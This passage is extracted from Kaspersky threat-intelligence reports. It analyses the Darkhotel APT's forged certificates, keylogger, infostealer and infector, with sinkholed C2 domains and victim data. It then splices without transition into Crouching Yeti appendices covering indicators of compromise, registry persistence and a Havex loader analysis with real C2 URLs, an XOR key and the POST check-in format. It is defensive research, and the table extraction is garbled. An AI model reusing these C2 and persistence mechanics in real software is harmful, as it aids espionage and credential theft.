inquiries, please contact intelreports@kaspersky.com +CA Root +GlobalSign +Subordinate +CA/Issuer +Owner +Deutsche Telekom www.kuechentraum2 +CA 5 +4.de +Status +Valid From +Valid To +Revoked +10/20/2008 +10/25/2009 +Invalid Sig. +12/7/2009 +12/7/2010 +sha1/RSA (512 bits) +CyberTrust +Digisign Server ID +(Enrich) +payments.bnm.gov.m y +CyberTrust +TaiCA Secure CA +esupplychain.com.tw +sha1/RSA (512 bits) +Expired +7/2/2010 +7/17/2011 +CyberTrust +Digisign Server ID +(Enrich) +mcrs2.digicert.com. my +Invalid Sig +3/28/2010 +3/28/2012 +CyberTrust +Cybertrust +SureServer CA +agreement.syniverse. +Invalid Sig +com sha1/RSA (512 bits) +2/13/2009 +2/13/2011 +CyberTrust +Cybertrust +SureServer CA +ambermms.syniverse. +Invalid Sig. +2/16/2009 +2/16/2011 +Equifax +Secure +eBusiness +CA-1 +Equifax Secure +eBusiness CA-1 +secure.hotelreykjavik.i s +Invalid Sig +2/27/2005 +3/30/2007 +CyberTrust +Cybertrust +Educational CA +stfmail.ccn.ac.uk sha1/ +RSA (512 bits) +Invalid Sig. +11/12/2008 +11/12/2011 +CyberTrust +Digisign Server ID +(Enrich) +webmail.jaring.my sha1/ Invalid Sig +RSA (512 bits) +6/1/2009 +6/1/2011 +CyberTrust +Cybertrust +Educational CA +skillsforge.londonmet. +ac.uk +Invalid Sig +1/16/2009 +1/16/2012 +CyberTrust +Digisign Server ID +(Enrich) +Invalid Sig +9/29/2009 +9/29/2011 +CyberTrust +Anthem Inc +dl-ait-middleware@an +Certificate Authority them.com +Invalid Sig +4/22/2009 +4/22/2010 +CyberTrust +Cybertrust +Educational CA +Invalid Sig +9/11/2008 +9/11/2011 +Verisign +Verisign Class 3 +Secure OFX CA G3 +secure2.eecu.com sha1/ Invalid Sig +RSA (512 bits) +10/25/2009 +10/26/2010 +Microsoft +6/9/2009 +12/31/2039 +sha1/RSA (512 bits) +sha1/RSA (512 bits) +sha1/RSA (512 bits) +md5/RSA (512 bits) +sha1/RSA (512 bits) +anjungnet.mardi.gov. my +sha1/RSA (512 bits) +sha1/RSA (512 bits) +ad-idmapp.cityofbrist +ol.ac.uk +sha1/RSA (512 bits) +Root Agency Root Agency +Invalid Sig +md5/RSA (1024 bits) +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +CA Root +Cybertrust +Subordinate +CA/Issuer +Owner +Status +Valid From +Valid To +CyberTrust +SureServer CA +trainingforms.syniverse. +Invalid Sig +2/17/2009 +2/17/2011 +sha1/RSA (512 bits) +All related cases of signed Darkhotel malware share the same Root Certificate +Authority and Intermediate Certificate Authority that issued certificates with +weak md5 keys (RSA 512 bits). We are confident that our Darkhotel threat actor +fraudulently duplicated these certificates to sign its malware. These keys were +not stolen. Many of the certificates were noted in a 2011 Fox-IT post +RSA-512 +Certificates Abused in the Wild +To further support this speculation please note the non-specific Microsoft Security Advisory below, the Mozilla advisory addressing the issue at the time, and the +Entrust responses. +From Microsoft +s security advisory from Thursday, November 10, 2011: +Microsoft is aware that DigiCert Sdn. Bhd, a Malaysian subordinate certification authority (CA) under Entrust and GTE CyberTrust, has issued 22 certificates with weak 512 bit keys. These weak encryption keys, when broken, could +allow an attacker to use the certificates fraudulently to spoof content, perform +phishing attacks, or perform man-in-the-middle attacks against all Web browser +users including users of Internet Explorer. While this is not a vulnerability in a +Microsoft product, this issue affects all supported releases of Microsoft Windows. +There is no indication that any certificates were issued fraudulently. Instead, +cryptographically weak keys have allowed some of the certificates to be duplicated and used in a fraudulent manner. +Microsoft is providing an update for all supported releases of Microsoft Windows +that revokes the trust in DigiCert Sdn. Bhd. The update revokes the trust of the +following two intermediate CA certificates: Digisign Server ID + (Enrich), issued by +Entrust.net Certification Authority (2048) Digisign Server ID (Enrich), issued by +GTE CyberTrust Global Root +From Mozilla +s 2011 response: +While there is no indication they were issued fraudulently, the weak keys have +allowed the certificates to be compromised. Furthermore, certificates from this +CA contain several technical issues. They lack an EKU extension specifying their +intended usage and they have been issued without revocation information. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +From Entrust +s response: +There is no evidence that the Digicert Malaysia certificate authorities have been +compromised. +Cracking the keys +Here are some notes on the costs and technical requirements of attacking these +certificates. +The computing power required to crack and factor an RSA 512 bit key was $5000 +and the period of time required was about 2 weeks. (see http://lukenotricks. +blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html) +In October 2012, Tom Ritter reported that it would cost about $120-$150, perhaps even as little as $75. +Going even further back, there was much discussion about the technical methods of cracking these keys: +DJ Bernstein +s 2001 paper on building a machine reducing the cost of integer +factorization with Number Field Sieve techniques, breaking 1024 bit RSA keys. +s reaction and 2002 statement on whether or not 1024 bit RSA keys are +broken: +NIST offered a table of proposed key sizes for discussion at its key management workshop in November 2001 [7]. For data that needs to be protected no +later than the year 2015, the table indicates that the RSA key size should be at +least 1024 bits. For data that needs to be protected longer, the key size should be +at least 2048 bits. +Other Tapaoux Certificates +Recent Tapaoux attacks and backdoors include malware signed with strong +SHA1/RSA 2048 bit certificates, suggesting certificate theft. +CA Root +thawte +thawte +Subordinate +CA/Issuer +thawte Primary +Root CA +thawte Primary +Root CA +Owner +Status +Xuchang Hongguang Revoked +Technology Co.,Ltd. +sha1/RSA (2048bits) +Valid From +7/18/2013 +Valid To +7/16/2014 +Ningbo Gaoxinqu +Revoked +zhidian Electric Power +Technology Co., Ltd. +11/5/2013 +11/5/2014 +sha1/RSA (2048bits) +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Enhanced Keyloggers and Development +One of the most interesting components that we discovered as a part of this campaign was the use of a digitally-signed advanced keylogger. It is clean, well-written, +kernel level malcode. The languages of its strings are a mix of English and Korean. It +is signed with the familiar +belinda.jablonski@syniverse.com + digital certificate. +This keylogger is dropped by code running within svchost.exe on WinXP SP3, +which maintains an interesting debug string: +d:\KerKey\KerKey( +)\KerKey\release\KerKey.pdb +Note + means +General + in Korean +It probably was developed as a part of a mid-to-late 2009 project: +e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c +Keylogger Code +This driver package is built to resemble a legitimate low-level Microsoft system +device. It is installed as a system kernel driver +Ndiskpro + service, described as +Microcode Update Device +. It is slightly surprising that no rootkit functionality +hides this service: +When loaded, the NDISKPRO.SYS driver hooks both INT 0x01 and INT 0xff, and +retrieves keystroke data directly from port 0x60, the motherboard keyboard controller itself. It buffers, then communicates logged user data to the running user +mode component. This component then encrypts and writes the retrieved values +ondisk to a randomly named .tmp, file like ffffz07131101.tmp. This file is located +in the same directory as the original dropper, which maintains persistence across +reboots with a simple addition to the HKCU run key. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +This keylogger module encrypts and stores gathered data in a log file, as mentioned previously. Its encryption algorithm is similar to RC4. The interesting part is +that the module randomly generates the key and stores it in an unexpected place: +in the middle of the log file name. Hence, the numeric part of the filename is used +as a seed for the pseudorandom number generator. The rand function is statically +linked to ensure same results on different computers. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Interesting Malware Components +The Darkhotel toolset consists of multiple components that have been slightly +modified over time. These tools are dropped by hotel installers spoofing legitimate software installers, bound within torrent bundles, or dropped by exploits or +hypertext linked from spear-phishing emails. +More advanced tools, like the keylogger decribed above, are later downloaded to +the victim system by one of these implants. In a recent case, word docs embedded with 0-day flash swf files either dropped these backdoors or downloaded and +executed backdoors from remote web servers. These tools pull down the keylogger, steal information from the system, or download other tools. + small downloader + information stealer + Trojan + dropper and self-injector + selective infector +The most interesting behaviors of these components include + highly unusual conditional 180 day command and control communications +delay + self-kill routines when the system default codepage is set to Korean + enhanced Microsoft IntelliForm authentication theft handling + infostealer module Internet Explorer, Firefox, and Chrome support + campaign or stage ID maintenance + virtual machine execution sensitivity + selective viral infection routines to focus the spread of malware within organizations + signed malcode (previously noted) +Small Downloader +This module is quite small (27Kb) and comes as a part of WinRar SFX file that drops +and starts the module from %APPDATA%\Microsoft\Crypto\DES64v7\msieckc.exe. +This module is designed to update malicious components through recurring checks +at the C&C server. It is also capable of removing some older components, the names +of which are hardcoded in the body of the malware. The module adds autorun registry +settings to enable an automatic start during system boot. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +One of the most interesting functions of this executable is its unusual delay and +persistence. If a special file exists on the system, the module will not start calling +back to C&C server until the special file is 180 days old. So, if some other critical +malicious component was removed during this period, current module backs up +and restores access to the system within 6 months. +The component gathers system information and sends it to the Darkhotel command and control servers as detailed in Appendix D. +Information Stealer +This module is relatively large (455Kb) and comes as a part of a WinRar SFX file +that drops and starts the module from %APPDATA%\Microsoft\Display\DmaUp3. +exe. The main purpose of the module is to collect various secrets stored on a local system and upload them to Darkhotel command and control servers: +Cached passwords from Internet Explorer 6/7/8/9 (Windows Protected Storage) +Mozilla Firefox stored secrets (<12.0) +Chrome stored secrets +Gmail Notifier credentials +Intelliform-handled data and credentials: + Twitter + Facebook + Yandex + Qip + Nifty + Mail.ru + 126.com email + Zapak + Lavabit (encrypted email service now shut down) + Bigstring + Gmx + Sohu + Zoho + Sina + Care2 + Mail.com +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com + Fastmail + Inbox + Gawab (middle-eastern email service) + 163.com + Lycos + Lycos mail + Aol login + Yahoo! logins + Yahoo! Japan logins + Microsoft Live logins + Google login credentials +This module is designed to terminate itself on Windows with the system default codepage set to Korean. +Trojan.Win32.Karba.e +This malware is 220Kb in size. It was built as MFC framework application with a +lot of extra calls that should have complicated the analysis of the sample. It mimics a GUI desktop application but it does not create any visible windows or dialogs +to interact with local users. The Trojan collects data about the system and antimalware software installed on it, and uploads that data to Darkhotel command +and control servers. More technical details are provided in Appendix D. +Trojan-Dropper & Injector (infected legitimate files) +This malware is 63kb in size. It is bound to a variety of other software packages +that vary in name, but the host package is consistently detected as +Virus.Win32. +Pioneer.dx +. It drops the igfxext.exe +selective infector + component to disk and +runs it. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Selective Infector +This component is a virus, and is used to selectively infiltrate into other computers via USB or network shares. +First, the virus retrieves all available disks and starting from disk number 4 (D:\) +to disk number 20 (Z:\), finds executable files and infects them. The code simply +brute forces the list of mapped removable drives. +During its infection routine, the infector changes the entrypoint of executable +files, creates an .rdat section, and inserts a small loader in the section, then puts +its main payload in the overlay. Every infected file has functionality described in +Trojan-Dropper & Injector section, so it can collect information about the computer, send it to the C2 and download other Darkhotel components as commanded. +Observed downloaded components are signed with a familiar expired certificate +from www.esupplychain.com.tw, issued by Cybertrust SureServer CA. +Again, further technical details are provided in Appendix D. +Campaign Codes +Almost every backdoor in this set maintains an internal campaign code or id, used +in initial c2 communications as described above. Some IDs appear to be related to +geographic interests, others do not seem obvious. We gathered a list of Darkhotel +campaign IDs shown below. Internal IDs and c2 resources overlap across these components, there is no pattern of distribution according to connectback resources. The +most common id is +DEXT87 +DEXT87 +step2-auto +dome1-auto +step2-down +Java5.22 +C@RNUL-auto +dome-down +M1Q84K3H +NKEX#V1.Q-auto +TLP: Green +NKstep2-auto +PANA(AMB)-auto +PANA#MERA +SOYA#2-auto +step2-down-u +(ULT)Q5SS@E.S-down +VER1.5.1 +VICTORY +WINM#V1.Q +For any inquiries, please contact intelreports@kaspersky.com +Infrastructure and Victims +This infrastructure team appears to employ a lesser skillset than top notch +campaigns, maintaining weak server configurations with limited monitoring and +defensive reactions, and making some simple mistakes. However, they are effective at maintaining a fully available infrastructure to support new and existing +infections. +Overall, victims in our sinkhole logs and KSN data were found across the globe, +with the majority in Japan, Taiwan, China, Russia, Korea and Hong Kong. +Sinkhole Domains +The following C&C domains have been sinkholed and redirected to the Kaspersky +Sinkhole Server +42world.net +academyhouse.us +adobeplugs.net +amanity50.biz +autocashhh.hostmefree.org +autochecker.myftp.biz +autoshop.hostmefree.org +autoupdatfreeee.coolwwweb.com +checkingvirusscan.com +dailyissue.net +dailypatch-rnr2008.net +fenraw.northgeremy.info +generalemountina.com +goathoney.biz +TLP: Green +jpnspts.biz +jpqueen.biz +mechanicalcomfort.net +micromacs.org +ncnbroadcasting.reportinside.net +neao.biz +private.neao.biz +reportinside.net +self-makeups.com +self-makingups.com +sourcecodecenter.org +support-forum.org +updatewifis.dyndns-wiki.com +For any inquiries, please contact intelreports@kaspersky.com +Victim Locations - KSN and Sinkhole Data +KSN Data +Our Kaspersky Security Network detected Darkhotel infections across thousands +of machines, mostly related to the Darkhotel p2p campaigns. These geolocation +estimates probably provide the most accurate picture of where Darkhotel activity +is occurring. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Here is a pie chart to better visualize the proportions of attack activity throughout +the world. As you can see, over 90% of it occurs in the top five countries: Japan, +followed by Taiwan, China, Russia and Korea. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Sinkhole Data +Because the operators very actively build up new command and control servers, it is difficult to sinkhole enough domains to get an accurate overall picture +of victim system location based on this data. Also, many researcher systems are +connected to the sinkholed domains. However, this graph of current sinkhole +callbacks presents a low confidence distribution of victim geolocation, with India, +Japan, Ireland, Korea, China and Taiwan in the top slots. Removing India and +Ireland, the set more closely matches our KSN data. +Available ddrlog Victim Data +Many of these c2s maintain a common directory path that serves a ddrlog. The +ddrlogs appear to maintain callback data that the attackers want to set aside in +error logs. Many of the callback URLs have errors, many are from unwanted IP +ranges, and others are clearly unwanted researcher sandbox system callbacks. +A description of the detailed connectback URL values and their xor/base64 +encoding scheme is included in the +Interesting Malware Trojan.Win32.Karba.e +technical notes in Appendix D. +The Darkhotel c2 maintain these directory structures to store and serve ddrlog +content: + /bin/error/ddrlog + /patch/error/ddrlog +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +The following structures appear to be common across servers, but do not produce ddrlog and do not maintain an /error/ directory: + /u2/ + /u3/ + /patch2/ + /major/ + inor/ + /asp/ + /update3/ +Two ddrlog files report entries starting January 1, 2009 at 9:16 a.m. + autozone.000space.com + genuinsman.phpnet.us +All of the logs maintain a significant number of entries, almost 50,000, with a +simple stamp + or +. Those records are formatted in the following manner: +2009.01.01 09:16:00 150.70.xxx.xx --> B +2009.01.01 09:16:33 150.70.xxx.xx --> B +2009.01.01 09:14:52 220.108.x.xxx --> L +2009.01.01 09:16:04 112.70.xx.xx --> L +Only 120 IP addresses perform the + checkin, and 90% of these are from the +range 150.70.97.x. This entire range is owned by Trend Micro in Tokyo, JP. +A handful of the remaining addresses, like 222.150.70.228, appear to come +from other ranges owned by Trend Micro in JP. One outlier comes from an El Salvadoran ISP, and another is connected to a Japanese ISP. Approximately 20,000 +IP addresses perform the + checkin. +Other ddrlogs may include + tags as well. +The + tag labels unwanted checkins from untargeted locations, like Hungary +and Italy. The + tag labels unwanted checkins from Trend Micro IP ranges. +The + tag labels unwanted checkins from a variety of ranges, but includes odd +IP like the loopback address, 127.0.0.1, clearly an error. +Entries in these logs include callback URLs that have spaces and unusual characters that do not conform to the required base64 character dictionary. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +C2 Communications and Structure +Typical main page: +For begatrendstone.com, we have the following directory structure: +/bin +-read_i.php (main C&C script) +-login.php (unknown, replies +Wrong ID() +/bin/error (error logs stored here) +-ddrlog +/bin/tmp +/bin/SElhxxwiN3pxxiAPxxc9 +-all.gif +- encrypted stolen victim system content +For auto2116.phpnet.us, we have the following directory structure: +/patch +-chkupdate.php (main command and control script) +/patch/error +-ddrlog +The group encrypts victim data on their servers with single user/passkey combinations across multiple victims. When an unauthorized user attempts to access a +Darkhotel web interface for victim management without the correct passkey, the +html page and table layout renders properly, but all the data values on the page +are returned as garbled ciphertext. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Victim Management +New victim systems appear to be systematically vetted. The attackers maintain +a web interface to vet these new victim systems. The attackers first and foremost +list and sort victim systems according to their latest c2 check-in. Collected data +probably is presented in order of importance: +1. user +s logon name +2. system CPU and OS +Ping sec +, or how far the victim system is from the c2 +, or the process that the attackers + dll code executes within +5. Vac: Antivirus Product identifier +6. system LAN IP +7. network WAN IP +Here is an example of one of these web pages: +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Researcher Activity +Clearly, some automated analysis activity involving researchers + sandbox tools +are filling up these logs. From June 2013 to April 2014 (approximately an 11 +month period), in only 15 ddrlog files, we observe almost 7,000 connections from +research sandbox systems. The network connections provide a1= through a3= +values identifying a QEMU based sandbox, all sourced from only 485 WAN IP addresses. Under 30 lan IPs are recorded, all in the same 172.16.2.14-126 range. +This system(s) uses a +Dave + user account and +HOME-OFF-D5F0AC + Windows +system name. +These characteristics correspond with network activity generated by GFI Software +CWsandbox + tools, now owned by +ThreatTrack Security +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Conclusions +For the past seven years, a strong threat actor named Darkhotel, also known as +Tapaoux, has carried out a number of successful attacks against a wide range of +victims from around the world. It employs methods and techniques which go well +beyond typical cybercriminal behavior. +The Darkhotel crew +s skillset allows it to launch interesting cryptographical attacks, for instance factoring 512 bit RSA keys. Its use of 0-days is another indicator of a strong threat actor. +The targeting of top executives from various large companies around the world +during their stay at certain +Dark Hotels + is one of the most interesting aspects of +this operation. The exact method of targeting is still unknown - for instance, why +some people are targeted while others are not. The fact that most of the time the +victims are top executives indicates the attackers have knowledge of their victims +whereabouts, including name and place of stay. This paints a dark, dangerous +web in which unsuspecting travelers can easily fall. While the exact reason why +some hotels function as an attacker vector are unknown, certain suspicions exist, indicating possibly a much larger compromise. We are still investigating this +aspect of the operation and will publish more information in the future. +A further interesting trait is the deployment of multiple types of campaigns, both +targeted and botnet. This is becoming more and more common on the APT scene, +where targeted attacks are used to compromise high profile victims and botnet +style operations are used for massive surveillance or performing other tasks such +as launching DDoS attacks on hostile parties or simply upgrading victims to more +sophisticated espionage tools. +We expect the Darkhotel crew to continue their activities against DIB, Government and NGO sectors. The appendix released with this paper provides technical +indicators of compromise which should help victims identify the malicious traffic +and enable targets to protect themselves better against attack. +TLP: Green +For any inquiries, please contact intelreports@kaspersky.com +Kaspersky Lab HQ +39A/3 Leningradskoe Shosse +Moscow, 125212 +Russian Federation +more contact details +Tel: ++7-495-797-8700 +Fax: ++7-495-797-8709 +E-mail: +info@kaspersky.com +Website: www.kaspersky.com +Crouching Yeti + Appendixes +Kaspersky Lab Global Research and Analysis Team +Version 1.0 +July 2014 +Contents +I. Appendix 1: Indicators of compromise +II. Appendix 2: Havex loader + detailed analysis +III. Appendix 3: The Sysmain backdoor + detailed analysis +IV. Appendix 4: Ddex loader + detailed analysis +V. Appendix 5: The ClientX backdoor + detailed analysis +VI. Appendix 6: Karagany backdoor + detailed analysis +VII. Appendix 7: C&C Analysis +VIII. Appendix 8: Victim identification +IX. Appendix 9: Hashes +X. Appendix 10: Delivery methods + detailed analysis +10.1. Hijacked installers of legitimate software +10.2. Exploitation +10.3. Obvious Metasploit Rips +10.4. Changing Lights Out exploit sites + download flow +10.5. Related Targeted Software and CVE Entries +XI. Appendix 11: Malicious Domains and Redirectors +XII. Appendix 12: Previous and parallel research +TLP: Green +For any inquire please contact intelreports@kaspersky.com +I. Appendix 1: +Indicators of compromise +Files: +%SYSTEM%\TMPprovider0XX.dll +%SYSTEM%\svcprocess0XX.dll +%SYSTEM%\Phalanx-3d.Agent.dll +%SYSTEM%\Phalanx-3d.ServerAgent.dll +%COMMON_APPDATA%\TMPprovider0XX.dll +%COMMON_APPDATA%\Phalanx-3d.Agent.dll +%COMMON_APPDATA%\Phalanx-3d.ServerAgent.dll +%APPDATA%\TMPprovider0XX.dll +%APPDATA%\Phalanx-3d.Agent.dll +%APPDATA%\Phalanx-3d.ServerAgent.dll +%APPDATA%\sydmain.dll +%TEMP%\TMPprovider0XX.dll +%TEMP%\Phalanx-3d.Agent.dll +%TEMP%\Phalanx-3d.ServerAgent.dll +%TEMP%\srvsce32.dll +%TEMP%\~tmpnet.dll +%TEMP%\tmp687.dll +%TEMP%\*.xmd +%TEMP%\*.yls +%TEMP%\qln.dbx +%TEMP%\Low\ddex.exe +%TEMP%\Low\~tmppnet.dll +%TEMP%\Low\~ntp.tmp +%TEMP%\Low\~task.tmp +%TEMP%\Low\~ldXXXX.TMP +%TEMP%\bp.exe +%TEMP%\~tmp1237.txt +C:\ProgramData\ +C:\ProgramData\Cap\ +C:\ProgramData\Mail\ +C:\ProgramData\Mail\MailAg\ +C:\ProgramData\Cap\Cap.exe +C:\ProgramData\Mail\MailAg\scs.jpg +TLP: Green +For any inquire please contact intelreports@kaspersky.com +C:\ProgramData\Mail\MailAg\scs.txt +Registry values: +HKLM\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider +HKCU\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider +HKLM\Software\Microsoft\Internet Explorer\InternetRegistry@fertger +HKCU\\Software\Microsoft\Internet Explorer\InternetRegistry@fertger +HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows@ +Load= +%TEMP%\Low\ddex.exe +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows@ +Load= +%TEMP%\Low\ddex.exe +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@ID +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@prv +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pubm +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pub +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@nN (where N:=[0,x]) +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pN (where N:=[0,x]) +HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@sN (where N:=[0,x]) +Mutexes: +(6757) +HKCU/Identities/Default User ID +-18890} + example: {8B01CFB5-FF66-4404-89E227E06475EA38}-18890} +{AD-18890} +HKCU/Identities/Default User ID +-01890} + example: {8B01CFB5-FF66-4404-89E227E06475EA38}-01890} +{ED-01890} +Named pipes: +\\.\pipe\mypype-f0XX +\\.\pipe\mypype-g0XX +\\.\pipe\mypipe-h0XX +TLP: Green +For any inquire please contact intelreports@kaspersky.com +II. Appendix 2: +Havex loader + detailed analysis +2.1. Detailed analysis of the HAVEX loader sample (version 038) +File metadata and resources +SHA-256: +401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 +Size: +327168 +Compiled: Mon, 30 Dec 2013 12:53:48 UTC +C2 urls: +zhayvoronok.com/wp-includes/pomo/idx.php +dreamsblock.com/witadmin/modules/source.php +stalprof.com.ua/includes/domit/src.php +Resource: +ICT 0x69, contains encrypted config: +12.MTMxMjMxMg==.5.havex.10800000.12.Explorer.EXE.0.3.40.zhayvoronok.com/ +wp-includes/pomo/idx.php.43.dreamsblock.com/witadmin/modules/source.php.38. +stalprof.com.ua/includes/domit/src.php.354.AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyo +ED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9..fzAxf1zXj42880+kUmktmVb5HSYi8T27Q54eQ4ZLUFK +PKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQAAAAAAA +AAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAA +AAAAAAAAAAAAAAAQAB.2.25.26.5265882854508EFCF958F979E4.600000.2000.323000. +Base64 encrypted string MTMxMjMxMg== ( +1312312 + after decoding) is used as a +XOR key. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Code flow +DLLMain + Decrypt and load resource, copy config data from resource to memory + Create main thread in suspended mode and thread that constantly checks some bool - if it +s set, +main thread is resumed + When the RunDllEntry export is called, the bool is set to 1 and the main thread is resumed +RunDllEntry + Create a window and trigger resuming of the main thread + Create file and writes there the version number: +%TEMP%\qln.dbx + Create keys/values: +[HKLM|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry] +fertger = (bot_id) +bot_id = random number based on CoCreateGuid(), some calculations and some +memory address; examples: +001: +4288595270379021982301EAFED001 +002: +1607204568126732018801F2FED002 +00F: +93249038331471783200C2FED00F +012: +22561320586441617865023EFED0 +013: +2627437901628051734800C2FED0 +014: +1578266759509151668900DEFED0 +017: +251262960942470194870241FED0 +018: +1564893130116282046100B9FED0 +019: +1578266759509151668900DEFED0 +01A: +160720456812673201880242FE8C-1 +01B: +1607204568126732018800C2FE04-1 +01C: +24893503947647170630246FE04-3 +01D: +2627437901628051734800C2FE04-2 +01B: +1663328815238791903001EBFE04-1 +029: +1842673533224541887800BEFD88-3x1 +030: +3787916004501911680200BEFD88-3x1 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +030: +309276719429789193750028F978-3x1 +037: +24645644821769317791009AFD80-20 +037: +30816051733388016549009AFD80-1 +037: +6036449321755718127009AFD80-13 +038: +301542815316517628009AFD80-25 +038: +3126127065975717600009AFD80-25 +038: +28805135293025919409009AFDA8-25 +043: +18145851232284217441009AFD80-c8a7af419640516616c342b13efab +044: +292219215960920240009AFD80-6d3aef9f2cf3ca9273631663f484a +044: +2860397951987017001009AFD80-4b3c3453bdebb602642d18274c239 + Copy self to %SYSTEM%\TMPprovider038.dll +in case of failure, it tries to write to %APPDATA% or %TEMP% + Create run entry: +[HKLM|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run] +TMP provider = +rundll32 \TMPprovider038.dll, RunDllEntry + Create named pipe: +\\.\pipe\mypipe-h038 + In loop, create remote thread of explorer.exe which does: +LoadLibrary(\TMPprovider038.dll) + Look for all %TEMP%\*.xmd files, read their paths and the contents + Get the base64 encrypted key from config and decode it + Get the content of *.xmd file and decode (base64), decrypt (using keys from config and binary) +and decompress (bzip2), once decrypted and decompressed, the content of each *.xmd file is +saved as DLL and loaded to the memory + Check for some base64 encoded data string in: +[HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\Options] +b = + Find *.yls file, read content and (optionally) add it to the POST request + Create POST request string: +id=&v1=&v2=&q= +Example: +id=28805135293025919409009AFDA8-25&v1=038&v2=170393861&q=5265882854508EFCF958F979E4 + Try to connect to compromised websites (C2 servers) and send POST request with the following +parameters: +id=&v1=&v2=&q= +Example request: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +dreamsblock.com (ekiaiokqmo.c08.mtsvc.net, 205.186.179.176) +POST /witadmin/modules/source.php?id=28805135293025919409009AFDA8-25&v1=038&v2=17039 +3861&q=5265882854508EFCF958F979E4 + Read the HTML file returned by the server, look for havex markers and copy data from between +them + Write the data to: %TEMP%\.tmp.xmd + Decrypt/decompress content of xmd file to %TEMP%\.dll + Load the DLL +At the moment of analysis, URLs from config were not returning any data: +stalprof.com.ua/includes/domit/src.php (server39.hosting.reg.ru, 37.140.193.27) +zhayvoronok.com/wp-includes/pomo/idx.php (78.63.99.143) +dreamsblock.com/witadmin/modules/source.php +No data!0. +Encryption +The 2nd stage modules are usually base64 encoded, bzip2 compressed and XORed using the +recurrent +1312312 + key. +In some cases, the malware can also use one 1024 bit RSA key which is embedded in the config +section of the binary. +Key from resource/config: +Base64 encoded: +AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9fzAxf1zXj42880+kUmktmVb +5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQ +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Decoded RSA 1024 bit key: +0000000: 0004 d79f e322 c0bb bec4 2a0c 1bb4 aa63 ..... +....*....c +0000010: 5b90 c409 35a8 b772 a040 fd2f 1215 42bd [...5..r.@./..B. +0000020: 99fe 0b2b 1c8b 204e f2bd 02eb 1d16 8fbd ...+.. N........ +0000030: 7f30 317f 5cd7 8f8d bcf3 4fa4 5269 2d99 .01.\.....O.Ri-. +0000040: 56f9 1d26 22f1 3dbb 439e 1e43 864b 5052 V..& +.=.C..C.KPR +0000050: 8f29 9b2d 8077 303d 51c6 770a 6699 19a4 .).-.w0=Q.w.f... +0000060: d3d7 cbdc a19d f52a 91eb 432f ed0b 49e1 .......*..C/..I. +0000070: 5c06 0eaa f33a 36be 325e 1223 b7ba d02e \....:6.2^.#.... +0000080: 2a0d +Key hardcoded in binary: +Base64 encoded: +w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9t+taxYg6Vo0WgP0u0Me82TuCMxmU+Pcj44c8zP5xOe +v4F097r5+saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A+5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648= +Decoded: +0000000: c354 56b3 a7a3 7b19 bcc2 0a84 a6e9 6490 .TV...{.......d. +0000010: 44ac f719 8b42 8898 f23f e577 3349 fdf3 D....B...?.w3I.. +0000020: e3f6 dfad 6b16 20e9 5a34 5a03 f4bb 431e ....k. .Z4Z...C. +0000030: f364 ee08 cc66 53e3 dc8f 8e1c f333 f9c4 .d...fS......3.. +0000040: e7af e05d 3dee be7e b1a4 6eb7 18ff 2e69 ...]=..~..n....i +0000050: ebd8 0220 0ea7 ccd7 818d 1c14 3199 1437 ... ........1..7 +0000060: bf44 b0cf a03e e736 8c22 a417 ff5d dd58 .D...>.6. +...].X +0000070: 5d6c 790b 